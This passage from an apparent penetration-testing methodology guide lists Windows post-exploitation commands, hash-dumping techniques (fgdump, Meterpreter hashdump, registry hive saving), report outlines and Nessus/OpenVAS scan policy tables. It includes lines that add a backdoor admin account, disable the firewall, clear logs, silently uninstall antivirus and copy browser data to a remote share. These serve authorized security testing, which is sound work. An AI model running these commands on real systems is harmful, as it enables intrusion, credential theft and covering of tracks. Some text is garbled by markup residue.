`<nowiki>netstat -nao | findstr LISTENING</nowiki>`	XP and up for -o flag to get PIDnet acc
`<nowiki>netstat -nao | findstr LISTENING</nowiki>`	XP and up for -o flag to get PID
`<nowiki>netstat -na | findstr LISTENING</nowiki>`	
`netsh diag show all`	
`net view`	Queries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup.
`net view /domain net view /domain:otherdomain`	
`net user %USERNAME% /domain`	Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership
`net user /domain`	Lists all of the domain users
`net accounts`	Prints the password policy for the local system. This can be different and superseded by the domain policy.
`net accounts /domain`	Prints the password policy for the domain
`net localgroup administrators`	Prints the members of the Administrators local group
`net localgroup administrators /domain`	As this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins
`net group "Domain Admins" /domain`	Prints the members of the Domain Admins group
`net group "Enterprise Admins" /domain`	Prints the members of the Enterprise Admins group
`net group "Domain Controllers" /domain`	Prints the list of Domain Controllers for the current domain
`nbtstat -a [ip here]`	
`net share`	Displays your currently shared SMB entries, and what path(s) they point to
`net session | find / "\\"`	
`arp -a`	Lists all the systems currently in the machine's ARP table.
`route print`	Prints the machine's routing table. This can be good for finding other networks and static routes that have been put in place

http://www.securityaegis.com/ntsd-backdoor/

Configs

align=left"|Command	Expected Output or Description
`gpresult /z`	Extremely verbose output of GPO (Group policy) settings as applied to the current system and user
`sc qc`	
`sc query`	
`sc queryex`	
`type %WINDIR%\System32\drivers\etc\hosts`	Print the contents of the Windows hosts file
`dir %PROGRAMFILES%`	Prints a directory listing of the Program Files directory.
`echo %COMSPEC%`	Usually going to be cmd.exe in the Windows directory, but it's good to know for sure.

Finding Important Files

align=left"|Command	Expected Output or Description
`tree C:\ /f /a > C:\output_of_tree.txt`	Prints a directory listing in 'tree' format. The /a makes the tree printed with ASCII characters instead of special ones and the /f displays file names as well as folders
`dir /a`	
`dir /b /s [Directory or Filename]`	
`<nowiki>dir \ /s /b | find /I "searchstring"</nowiki>`	Searches the output of dir from the root of the drive current drive (\) and all sub drectories (/s) using the 'base' format (/b) so that it outputs the full path for each listing, for 'searchstring' anywhere in the file name or path.
`<nowiki>command | find /c /v ""</nowiki>`	Counts the lines of whatever you use for 'command'

Files To Pull (if possible)

align=left"|File location	Description / Reason
%SYSTEMDRIVE%\pagefile.sys	Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size
%WINDIR%\debug\NetSetup.log	
%WINDIR%\repair\sam	
%WINDIR%\repair\system	
%WINDIR%\repair\software	
%WINDIR%\repair\security	
%WINDIR%\iis6.log	iis5.log, ii6.log or iis7.log
%WINDIR%\system32\logfiles\httperr\httperr1.log	IIS 6 error logs
%SystemDrive%\inetpub\logs\LogFiles	IIS 7's logs location
%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log	Year month day
%WINDIR%\system32\config\AppEvent.Evt	
%WINDIR%\system32\config\SecEvent.Evt	
%WINDIR%\system32\config\default.sav	
%WINDIR%\system32\config\security.sav	
%WINDIR%\system32\config\software.sav	
%WINDIR%\system32\config\system.sav	
%WINDIR%\system32\CCM\logs*.log	
%USERPROFILE%\ntuser.dat	
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat	
%WINDIR%\System32\drivers\etc\hosts	

Remote System Access

align=left"|Command	Description / Reason
`net share \\computername`	
`tasklist /V /S computername`	
`qwinsta /SERVER:computername`	
`qprocess /SERVER:computername *`	
`net use \\computername`	This maps IPC$ which does not show up as a drive but allows you to access the remote system as the current user. This is less helpful as most commands will automatically make this connection if needed
`net use \\computername /user:DOMAIN\username password`	Using the IPC$ mount use a user name and password allows you to access commands that do not usually ask for a username and password as a different user in the context of the remote system. This is useful when you've gotten credentials from somewhere and wish to use them but do not have an active token on a machine you have a session on.
`reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f`	Enable remote desktop.
`reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f`	Enable remote assistance
`net time \\computername`	Shows the time of target computer)
`dir \\computername\share_or_directory`	dir list a remote directory
`tasklist /V /S computername`	Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount

Auto-Start Directories

`ver` Returns kernel version - like uname on *nix)

{\| ! align=left"\|Version !Location \|- \|Windows NT 6.1, 6.0 \|%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ \|- \|Windows NT 5.2, 5.1, 5,0 \|%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\ \|- \|Windows 9x \|%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\ \|- \|Windows NT 4.0, 3.51, 3.50 \|%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\ \|}

Binary Planting

align=left"|Location / File name	Reason / Description
`msiexec.exe`	Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path, you get code execution.
`%SystemRoot%\System32\wbem\mof\`	Taken from stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vuln

- WMI
  - `wmic bios`
  - `wmic`
  - `wmic qfe get hotfixid`
    - This gets patches IDs
  - `wmic startup`
  - `wmic service`
  - `wmic process`
    - Get caption,executablepath,commandline
  - `wmic process call create "process_name"`
    - Executes a program
  - `wmic process where name="process_name" call terminate`
    - Terminates program
  - `wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber`
    - Hard drive information
  - `wmic useraccount`
    - Usernames, sid, and various security related goodies
  - `wmic useraccount get /ALL`
  - `wmic share get /ALL`
    - You can use ? for gets help
  - `wmic startup list full`
    - This can be a huge list!!!
  - `wmic /node:"hostname" bios get serialnumber`
    - This can be great for finding warranty info about target
- Reg Command exit
  - `reg save HKLM\Security security.hive` (Save security hive to a file)
  - `reg save HKLM\System system.hive` (Save system hive to a file)
  - `reg save HKLM\SAM sam.hive` (Save sam to a file)

- `reg add [\\TargetIPaddr\] [RegDomain][ \Key ]`
- `reg export [RegDomain]\[Key] [FileName]`
- `reg import [FileName ]`
- `reg query [\\TargetIPaddr\] [RegDomain]\[ Key ] /v [Valuename!]` (you can to add /s for recurse all values)

Deleting Logs

`wevtutil el` (list logs)
`wevtutil cl <LogName>` (Clear specific lowbadming)
`del %WINDIR%\*.log /a /s /q /f`

Uninstalling Software "AntiVirus" (Non interactive)

`wmic product get name /value`(this gets software names)
`wmic product where name="XXX" call uninstall /nointeractive`(this uninstalls software)

Other

`pkgmgr usefull /iu :"Package"`
`pkgmgr usefull /iu :"TelnetServer"`(Install Telnet Service . . .)
`pkgmgr /iu:"TelnetClient"`(Client)
`rundll32.exe user32.dll, LockWorkStation`(locks the screen -invasive-)
`wscript.exe <script js/vbs>`
`cscript.exe <script js/vbs/c#>`
`xcopy /C /S %appdata%\Mozilla\Firefox\Profiles\*.sqlite \\your_box\firefox_funstuff`

Operating Specific

Win2k3

`winpop stat domainname`

Vista/7

`winstat features`
`wbadmin get status`
`wbadmin get items`
`gpresult /H gpols.htm<br> <code>bcdedit /export <filename>`

Vista SP1/7/2008/2008R2 (x86 & x64)

Enable/Disable Windows features with Deployment Image Servicing and Management (DISM):

- Note* Works well after bypassuac + getsystem (requires system privileges)
- Note2* For Dism.exe to work on x64 systems, the long commands are necessary

To list features which can be enabled/disabled:

```
%windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online
/get-features
```

To enable a feature (TFTP client for example):

```
%windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online
/enable-feature /featurename:TFTP
```

To disable a feature (again TFTP client):

```
%windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online
/disable-feature /featurename:TFTP
```

Invasive or Altering Commands

These commands change things on the target and can lead to getting detected

align=left"|Command	Reason / Description
`net user hacker hacker /add`	Creats a new local (to the victim) user called 'hacker' with the password of 'hacker'
`net localgroup administrators /add hacker` `net localgroup administrators hacker /add`	Adds the new user 'hacker' to the local administrators group
`net share nothing$=C:\ /grant:hacker, FULL /unlimited`	Shares the C drive (you can specify any drive) out as a Windows share and grants the user 'hacker' full rights to access, or modify anything on that drive. One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn't a problem but it is something to keep in mind
`net user username / active:yes / domain`	Changes an inactive / disabled account to active. This can useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.
`netsh firewall set opmode disable`	Disables the local windows firewall
`netsh firewall set opmode enable`	Enables the local windows firewall. If rules are not in place for your connection, this could cause you to loose it.

Support Tools Binaries / Links / Usage

REMEMBER: DO NOT RUN BINARIES YOU HAVEN'T VETTED

align=left"|Description	Link to download
`carrot.exe /im /ie /ff /gc /wlan /vnc /ps /np /mp /dialup /pwdump`	http://h.ackack.net/carrot-exe.html
`PwDump7.exe > ntlm.txt`	http://www.tarasco.org/security/pwdump_7/ Invasively Dumps Windows NTLM hashes. Holds the credentials for all accounts.
Nircommands	http://www.nirsoft.net/utils/nircmd.html A collection of small nifty features.
`wce.exe`	http://www.ampliasecurity.com/research/wce_v1_2.tgz `` Pull NTLM hashes from login sessions out of memory, steal ks tickets from activerberoe processes and apply them to others.''
`adfind.exe -b ou=ActiveDirectory, dc=example,dc=com -f "objectClass=user" sn givenName samaccountname -nodn -adcsv > exported_users.csv`	http://www.joeware.net/freetools/ Joeware tools have been used by admins for a while. This command will output the firstname, lastname and username of everyone in the AD domain example.com. Edit as needed.

Various tools

(e.g. \hackarmoury.com\tools\all_binaries\fgdump.exe)

`` Some examples of protocols in use:''

http://hackarmoury.com/tools

\hackarmoury.com\tools

ftp://hackarmoury.com

svn://hackarmoury.com

9.5.2 Obtaining Password Hashes in Windows

There are two general methods for obtaining the password hashes in Windows. One method is to inject code into the LSASS (Local Security Authority Subsystem Service) process and the other is to extract the hashes from the SAM, system, and security registry hives. Pwdump6, Fgdump, and the hashdump command in Meterpreter use the LSASS injection method and Creddump extracts passwords from the SAM, system, and security hives. Once the hashes have been extracted, you can crack the hashes to obtain the passwords or you can use the hashes in a pass the hash exploit.

LSASS Injection

One of the pitfalls of using the LSASS injection method is the possibility of crashing the LSASS process, which will reboot the machine. Another pitfall is tools like Pwdump and Fgdump are often stopped by AV tools.

Pwdump6 and Fgdump

Pwdump6 and Fgdump are available at http://www.foofus.net/~fizzgig. Fgdump implements a number of features that Pwdump6 does not and is the preferred tool to use. Also, the user account must be an administrator on the target machine.

- To dump passwords on the local host with the credential of the current user use: `fgdump`

- To dump passwords on the local host with other credentials use: `fgdump -h 127.0.0.1 -u adminuser`
- To dump passwords on a remote host with specified credentials use: `fgdump -h 192.168.0.1 -u adminuser -p password`

Hashdump in Meterpreter

From the meterpreter prompt run `hashdump`.

```
meterpreter > hashdump
Guest:501:******NOPASSWORD*******:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:******NOPASSWORD*******:ee96955033d6fa723cc2fccb7bec093d:::
```

Extracting Passwords from Registry

You will need to copy the SAM, system, and security files from the target machine to your machine. The files are located in C:\WINDOWS\system32\config and are typically inaccessible while the machine is running. Fortunately, you can get a copy of the files from the registry in HKEY_LOCAL_MACHINE and some times you can find them in c:\WINDOWS\repair.

Copy from the Registry

```
reg save HKLM\SAM c:\sam.reg
reg save HKLM\SYSTEM c:\system.reg
reg save HKLM\SECURITY c:\security.reg
```

If you get an "Access Denied" error message when trying to save the SECURITY hive then try:

```
at 12:00 reg save HKLM\SECURITY c:\security.reg
```

You are using the at command to schedule the reg command so set the time appropriately.

Extracting the Hashes

Creddump includes three python scripts designed to extract the local password hashes (pwdump.py), the cached credentials (cachedump.py), and the LSA secrets (lsadump.py). To get the local password hashes use: `pwdump.py system.reg sam.reg`. To get the cached credentials use: `cachedump.py system.reg security.reg`.

Extracting Passwords from Registry using Meterpreter

In Meterpreter use the command `run post/windows/gather/hashdump` to get the local hashes from the SAM database. To get the cached hashes you will need to download the cachedump.rb module from http://lab.mediaservice.net/code/cachedump.rb and put it into /modules/post/windows/gather. Then you can run the command `run post/windows/gather/cachedump`.

9.6 Reporting

<Contribution Needed>

9.6.1 Executive-Level Reporting

<Contribution Needed>

1. Business Impact
2. Customization
3. Talking to the business
4. Affect bottom line
5. Strategic Roadmap
6. Maturity model
7. Appendix with terms for risk rating

9.6.2 Technical Reporting

<Contribution Needed>

1. Identify systemic issues and technical root cause analysis
2. Maturity Model
3. Technical Findings
   - Description
   - Screen shots
   - Ensure all PII is correctly redacted
   - Request/Response captures
   - PoC examples
   - Ensure PoC code provides benign validation of the flaw
4. Reproducible Results
   - Test Cases
   - Fault triggers
5. Incident response and monitoring capabilities
   - Intelligence gathering
   - Reverse IDS
   - Pentest Metrics
   - Vuln. Analysis
   - Exploitation
   - Post-exploitation
   - Residual effects (notifications to 3rd parties, internally, LE, etc. . .)
6. Common elements
   - Methodology
   - Objective(s)

- Scope
- Summary of findings
- Appendix with terms for risk rating

9.6.3 Quantifying the risk

<Contribution Needed>

1. Evaluate incident frequency
   - probable event frequency
   - estimate threat capability (from 3 - threat modeling)
   - Estimate controls strength (6)
   - Compound vulnerability (5)
   - Level of skill required
   - Level of access required
2. Estimate loss magnitude per incident
   - Primary loss
   - Secondary loss
   - Identify risk root cause analysis
   - Root Cause is never a patch
   - Identify Failed Processes
3. Derive Risk
   - Threat
   - Vulnerability
   - Overlap

9.6.4 Deliverable

<Contribution Needed>

1. Preliminary results
2. Review of the report with the customer
3. Adjustments to the report
4. Final report
5. Versioning of Draft and Final Reports
6. Presentation
   - Technical
   - Management Level
7. Workshop / Training
   - Gap Analysis (skills/training)

8. Exfiltarted evidence and any other raw (non-proprietary) data gathered.

9. Remediation Roadmap

- Triage
- Maturity Model
- Progression Roadmap
- Long-term Solutions
- Defining constraints

9.7 Custom tools developed

<Contribution Needed>

9.8 Appendix

9.8.1 Appendix A - Creating OpenVAS "Only Safe Checks" Policy

In order to ensure that all tests are conducted with the same criteria, you will need to ensure that you have the correct OpenVAS Global Settings. In order to do this you will need to connect to the OpenVAS Server and modifiy the Global Settings. There are seven configuration tabs: General, Credentials, Target Selection, Access Rules, Prefs., and KB. For our purposes, most of the default settings do not need to be modified.

General

The General tab is where we will set certain scan options. The actual settings have been defined as indicated below:

General Scan Options Section	Setting
Port Range	1-65535
Consider unscanned ports as closed	Unchecked
Checks to perform concurrently	4
Path to CGIs	/cgi-bin:/scripts
Do a reverse lookup of the IP before testing it	Unchecked
Safe checks	Checked
Designate hosts by their MAC address	Unchecked
Port Scanner Section	**Setting**
ike-scan (NASL wrapper)	Checked
Snmpwalk 'scanner'	Checked
SYN Scan	Checked
Exclude toplevel domain wildcard hosts	Unchecked
portbunny (NASL wrapper)	Unchecked
strobe (NASL wrapper)	Unchecked
Scan for LaBrea tarpitted hosts	Checked
amap (NASL wrapper)	Unchecked
pnscan (NASL wrapper)	Unchecked
Netstat 'scanner'	Unchecked
Simple TCP portscan in NASL	Unchecked
OpenVAS TCP scanner	Checked
Ping Host	Checked
Nmap (NASL wrapper)	Checked

Plugins

The Plugins tab, allows us to choose specific security checks by plugin family or individual checks that we want to enable. The easiest way to set this is to select the "Enable All" button from the main Plugins tab, however this assumes the Safe Checks is selected from the General Tab.

Credentials

The Credentials tab, allows us to configure the Nessus scanner to use authentication credentials during scanning. For our policy we will not edit any of the settings within this section. They are however documented to ensure completeness.

SMB Authorization	Setting
SMB login	Blank
SMB password	Blank
SMB domain (optional)	Blank
“’SSH Authorization “’	**Setting**
Per-host SSH key Selection (localhost)	Select SSH Login
Per-host SSH key Selection (Default)	Select SSH Login
User per-target login information	Unchecked
SSH login name	sshovas
SSH password (unsafe!)	Blank
SSH public key	Blank
SSH private key	Blank
SSH key passphrase	Blank

Target Selection

The Target Selection tab, allows us to specify specific targets or to read them from a file. The main then to ensure that is checked is the Perform a DNS zone transfer.

Access Rules

The Access Selection tab, allows us to view and manage the access rules for our scanner. These rules determine which host you may scan. Note that there are three kinds of access rules:

Server rules, Serverside user rules, and Clientside user rules. Server rules are global to the server and will affect all users that connect to this server. Serverside user rules are specific to a user and affect only this user, no matter from which client he connects to this server. Finally, Clientside user rules are specific to the client. They will affect only the scope in which they are defined.

Preferences

The Preferences tab allows for more granular control over scan settings. All items in this category should be left alone.

Knowledge Base

The configuration section for the Knowledge Base (KB) allows you to control the management of the server-side scan results. Information retrieved by plugins is collected in a KB during a scan. This is done on a per-host basis, meaning there is one KB for every host scanned. The default is to discard the KB once all plugins have finished, but under certain circumstances it can be quite useful to tell the server to keep the KBs generated during the scan and use them again at a later time.

9.8.2 Appendix B - Creating the “Only Safe Checks” Policy

In order to ensure that all tests are conducted with the same criteria, you will need to ensure that you have created a policy called “Only Safe Checks.” In order to do this you will need to connect to the Nessus server UI, so that you can create a custom policy by clicking on the “Policies” option on the bar at the top and then “+ Add” button on the right. The “Add Policy” screen will be displayed as follows:

“’ Screenshot Here “’

There are four configuration tabs: General, Credentials, Plugins, and Preferences. For our purposes, most of the default settings do not need to be modified.

General

The General tab is where we will name and configure scan options related to our policy. There are six boxes of grouped options that control scanner behavior: Basic, Scan, Network Congestion, Port Scanners, Port Scan Options, and Performance.

Basic allows us to define the policy itself. The actual settings have been defined as indicated below:

Basic Section	**Setting**
Name	Only Safe Checks
Visibility	Shared
Description	Complete scans not including Denial of Service.
Scan Section	**Setting**
Save Knowledge Base	Checked
Safe Checks	Checked
Silent Dependencies	Checked
Log Scan Details to Server	Unchecked
Stop Host Scan on Disconnect	Unchecked
Avoid Sequential Scans	Unchecked
Consider Unscanned Ports as Closed	Unchecked
Designate Hosts by their DNS Name	Unchecked
Network Section	**Setting**
Reduce Parallel Connections on Congestion	Unchecked
Use Kernel Congestion Detection (Linux Only)	Unchecked
Port Scanners Section	**Setting**
TCP Scan	Checked
UDP Scan	Unchecked
SYN Scan	Unchecked
SNMP Scan	Checked
Netstat SSH Scan	Checked
Netstat WMI Scan	Checked
Ping Host	Unchecked
Port Scan Options Section	**Setting**
Port Scan Range	1-65535
Performance Section	**Setting**
Max Checks Per Host (Windows)	5
Max Checks Per Host (Linux)	50-75
Max Hosts Per Scan	5
Network Receive Timeout (seconds)	5
Max Simultaneous TCP Sessions Per Host	Unlimited
Max Simultaneous TCP Sessions Per Scan	Unlimited

Credentials

The Credentials tab, allows us to configure the Nessus scanner to use authentication credentials during scanning. For our policy we will not edit any of the settings within this section. They are however documented to ensure completeness.

Windows credentials	**Setting**
SMB account	Blank
SMB password	Blank
SMB domain (optional)	Blank
SMB password type	Password
Additional SMB account (1)	Blank
Additional SMB password (1)	Blank
Additional SMB domain (optional)(1)	Blank
Additional SMB account (2)	Blank
Additional SMB password (2)	Blank
Additional SMB domain (optional)(2)	Blank
Additional SMB account (3)	Blank
Additional SMB password (3)	Blank
Additional SMB domain (optional)(3)	Blank
Never send SMB credentials in clear text	Checked
Only use NTLMv2	Unchecked
‘”SSH Settings ‘”	**Setting**
SSH user name	root
SSH password (unsafe!)	Blank
SSH public key to use	Blank
SSH private key to use	Blank
Passphrase for SSH key	Blank
Elevate privileges with	Nothing
su login	Blank
Escalation password	Blank
SSH known hosts file	Blank
Preferred SSH port	22
Client version	OpenSSH_5.0
Kerberos configuration	**Settings**
Kerberos Key Distribution Center (KDC)	Blank
Kerberos KDC Port	88
Kerberos KDC Transport	UDP
Kerberos Realm (SSH only)	Blank
Cleartext protocols settings	**Settings**
User name	Blank
Password (unsafe!)	Blank
Try to perform patch level checks over telnet	Unchecked
Try to perform patch level checks over rsh	Unchecked
Try to perform patch level checks over rexec	Unchecked

Plugins

The Plugins tab, allows us to choose specific security checks by plugin family or individual checks that we want to enable. The easiest way to set this is to select the "Enable All" button from the main Plugins tab, however this assumes the Safe Checks is selected from the General Tab.

Preferences

The Preferences tab allows for more granular control over scan settings. All items in this category should be. The actual settings have been defined as indicated below:

Cisco IOS Compliance Checks	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
'"Database Compliance Checks '"	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
'"Database Settings '"	**Setting**
Login	Blank
Password	Blank
DB Type	Oracle
Database SID	Blank
Database port to use	Blank
Oracle auth type	NORMAL
SQL Server auth type	Windows
Do not scan fragile devices	**Setting**
Scan Network Printers	Unchecked
Scan Novell Netware hosts	Unchecked
Global variable settings	**Setting**
Probe services on every port	Checked
Do not log in with user accounts not specified in the policy	Unchecked
Enable CGI scanning	Checked
Network type	Mixed (use RFC 1918)
Enable experimental scripts	Unchecked
Thorough tests (slow)	Unchecked
Report verbosity	Normal
Report paranoia	Normal

Continued on next page

Table 6 – continued from previous page

HTTP User-Agent	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
SSL certificate to use	Blank
SSL CA to trust	Blank
SSL key to use	Blank
SSL password for SSL key	Blank
HTTP cookies import	**Settings**
Cookies file	Blank
HTTP login page	**Settings**
Login page	/
Login form	Blank
Login form fields	user=%USER%&password=%PASS%
Login form method	POST
Re-authenticate delay (seconds)	Blank
Check authentication on page	Blank
Follow 30x redirections (# of levels)	2
Authenticated regex	Blank
Invert test (disconnected if regex matches)	Unchecked
Match regex on HTTP headers	Unchecked
Case insensitive regex	Unchecked
ICCP/COTP TSAP Addressing	**Settings**
Start COTP TSAP	8
Stop COTP TSAP	8
Login configurations	**Settings**
HTTP account	Blank
HTTP password (sent in clear)	Blank
NNTP account	Blank
NNTP password (sent in clear)	Blank
FTP account	Anonymous
FTP password (sent in clear)	
FTP writeable directory	/incoming
POP2 account	Blank
POP2 password (sent in clear)	Blank
POP3 account	Blank
POP3 password (sent in clear)	Blank
IMAP account	Blank
IMAP password (sent in clear)	Blank
Modbus/TCP Coil Access	**Settings**
Start reg	0
End reg	16
Nessus SYN scanner	**Settings**
Firewall detection	Automatic (normal)
Nessus TCP scanner	**Settings**

Continued on next page

Table 6 – continued from previous page

Firewall detection	Automatic (normal)
News Server (NNTP) Information Disclosure	**Settings**
From address	Nessus <listme@listme.dsbl.org>
Test group name regex	f[a-z].tests?
Max crosspost	7
Local distribution	Checked
No archive	Unchecked
Nikto (NASL wrapper)	**Settings**
Enable Nikto	Unchecked
Disable if server never replies 404	Unchecked
Root directory	Blank
Pause between tests (s)	Blank
Scan CGI directories	User supplied
Display: 1 Show redirects	Unchecked
Display: 2 Show cookies received	Unchecked
Display: 3 Show all 200/OK responses	Unchecked
Display: 4 Show URLs which require authentication	Unchecked
Display: V Verbose Output	Unchecked
Tuning: 1 Interesting File/Seen in logs	Unchecked
Tuning: 2 Misconfiguration / Default File	Unchecked
Tuning: 3 Information Disclosure	Unchecked
Tuning: 4 Injection (XSS/Script/HTML)	Unchecked
Oracle Settings	**Settings**
Oracle SID	Blank
Test default accounts (slow)	Unchecked
PCI DSS Compliance	**Settings**
Check for PCI-DSS compliance	Unchecked
Ping the remote host	**Settings**
TCP ping destination port(s)	Built-in
Do an ARP ping	Checked
Do a TCP ping	Checked
Do an ICMP ping	Checked
Number of Retries (ICMP)	2
Do an applicative UDP ping (DNS, RPCÖ)	Unchecked
Make the dead hosts appear in the report	Unchecked
Log live hosts in the report	Unchecked
Test the local Nessus host	Checked
Fast network discovery	Unchecked
Port scanners settings	**Settings**
Check open TCP ports found by local port enumerators	Unchecked
Only run network port scanners if local port enumeration failed	Checked

Continued on next page

Table 6 – continued from previous page

SMB Registry: Start the Registry Service during the scan	**Settings**
Start the Registry Service during the scan	Unchecked
SMB Scope	**Settings**
Request information about the domain	Checked
SMB use domain SID to enumerate users	**Settings**
Start UID	1000
End UID	1200
SMB use host SID to enumerate local users	**Settings**
Start UID	1000
End UID	1200
SMTP settings	**Settings**
Third party domain	Example.com
From address	nobody@example.com
To address	postmaster@[AUTO_REPLACED_IP]
SNMP settings	**Settings**
Community name	Public
UDP port	161
SNMPv3 user name	Blank
SNMPv3 authentication password	Blank
SNMPv3 authentication algorithm	MD5
SNMPv3 privacy password	Blank
SNMPv3 privacy algorithm	DES
Service Detection	**Settings**
Test SSL based services	Known SSL ports
Unix Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Web Application Tests Settings	**Settings**
Enable web applications tests	Unchecked
Maximum run time (min)	60
Send POST requests	Unchecked
Combinations of arguments values	one value
HTTP Parameter Pollution	Unchecked
Stop at first flaw	Per port (quicker)
Test embedded web servers	Unchecked
URL for Remote File Inclusion	http://rfi.nessus.org/rfi.txt
Web mirroring	**Settings**

Continued on next page

Table 6 – continued from previous page

Number of pages to mirror	1000
Maximum depth	6
Start page	/
Excluded items regex	/server_privileges.php
Follow dynamic pages	Unchecked
Windows Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Windows File Contents Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank

9.8.3 Appendix C - Creating the "Only Safe Checks (Web)" Policy

In order to ensure that all tests are conducted with the same criteria, you will need to ensure that you have created a policy called "Only Safe Checks (Web)". In order to do this you will need to connect to the Nessus server UI, so that you can create a custom policy by clicking on the "Policies" option on the bar at the top and then "+ Add" button on the right. The "Add Policy" screen will be displayed as follows:

Screenshot Here

‘”

There are four configuration tabs: General, Credentials, Plugins, and Preferences. For our purposes, most of the default settings do not need to be modified.

General

The General tab is where we will name and configure scan options related to our policy. There are six boxes of grouped options that control scanner behavior: Basic, Scan, Network Congestion, Port Scanners, Port Scan Options, and Performance.

Basic allows us to define the policy itself. The actual settings have been defined as indicated below:

Basic Section	**Setting**
Name	Only Safe Checks (Web)
Visibility	Shared
Description	Complete scans not including Denial of Service.
Scan Section	**Setting**
Save Knowledge Base	Checked

Continued on next page

Table 7 – continued from previous page

Safe Checks	Checked
Silent Dependencies	Checked
Log Scan Details to Server	Unchecked
Stop Host Scan on Disconnect	Unchecked
Avoid Sequential Scans	Unchecked
Consider Unscanned Ports as Closed	Unchecked
Designate Hosts by their DNS Name	Unchecked
Network Section	**Setting**
Reduce Parallel Connections on Congestion	Unchecked
Use Kernel Congestion Detection (Linux Only)	Unchecked
Port Scanners Section	**Setting**
TCP Scan	Checked
UDP Scan	Unchecked
SYN Scan	Unchecked
SNMP Scan	Checked
Netstat SSH Scan	Checked
Netstat WMI Scan	Checked
Ping Host	Unchecked
Port Scan Options Section	**Setting**
Port Scan Range	1-65535
Performance Section	**Setting**
Max Checks Per Host (Windows)	5
Max Checks Per Host (Linux)	50-75
Max Hosts Per Scan	5
Network Receive Timeout (seconds)	5
Max Simultaneous TCP Sessions Per Host	Unlimited
Max Simultaneous TCP Sessions Per Scan	Unlimited

Credentials

The Credentials tab, allows us to configure the Nessus scanner to use authentication credentials during scanning. For our policy we will not edit any of the settings within this section. They are however documented to ensure completeness.

Windows credentials	**Setting**
SMB account	Blank
SMB password	Blank
SMB domain (optional)	Blank
SMB password type	Password
Additional SMB account (1)	Blank
Additional SMB password (1)	Blank
Additional SMB domain (optional)(1)	Blank
Additional SMB account (2)	Blank
Additional SMB password (2)	Blank

Continued on next page

Table 8 – continued from previous page

Additional SMB domain (optional)(2)	Blank
Additional SMB account (3)	Blank
Additional SMB password (3)	Blank
Additional SMB domain (optional)(3)	Blank
Never send SMB credentials in clear text	Checked
Only use NTLMv2	Unchecked
“”SSH Settings “”	**Setting**
SSH user name	root
SSH password (unsafe!)	Blank
SSH public key to use	Blank
SSH private key to use	Blank
Passphrase for SSH key	Blank
Elevate privileges with	Nothing
su login	Blank
Escalation password	Blank
SSH known_hosts file	Blank
Preferred SSH port	22
Client version	OpenSSH_5.0
Kerberos configuration	**Settings**
Kerberos Key Distribution Center (KDC)	Blank
Kerberos KDC Port	88
Kerberos KDC Transport	UDP
Kerberos Realm (SSH only)	Blank
Cleartext protocols settings	**Settings**
User name	Blank
Password (unsafe!)	Blank
Try to perform patch level checks over telnet	Unchecked
Try to perform patch level checks over rsh	Unchecked
Try to perform patch level checks over rexec	Unchecked

Plugins

The Plugins tab, allows us to choose specific security checks by plugin family or individual checks that we want to enable. The easiest way to set this is to select the “Enable All” button from the main Plugins tab, however this assumes the Safe Checks is selected from the General Tab.

Preferences

The Preferences tab allows for more granular control over scan settings. All items in this category should be. The actual settings have been defined as indicated below:

Cisco IOS Compliance Checks	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank

Continued on next page

Table 9 – continued from previous page

Policy file #5	Blank
'"Database Compliance Checks '"	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
'"Database Settings '"	**Setting**
Login	Blank
Password	Blank
DB Type	Oracle
Database SID	Blank
Database port to use	Blank
Oracle auth type	NORMAL
SQL Server auth type	Windows
Do not scan fragile devices	**Setting**
Scan Network Printers	Unchecked
Scan Novell Netware hosts	Unchecked
Global variable settings	**Setting**
Probe services on every port	Checked
Do not log in with user accounts not specified in the policy	Unchecked
Enable CGI scanning	Checked
Network type	Mixed (use RFC 1918)
Enable experimental scripts	Unchecked
Thorough tests (slow)	Unchecked
Report verbosity	Normal
Report paranoia	Normal
HTTP User-Agent	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
SSL certificate to use	Blank
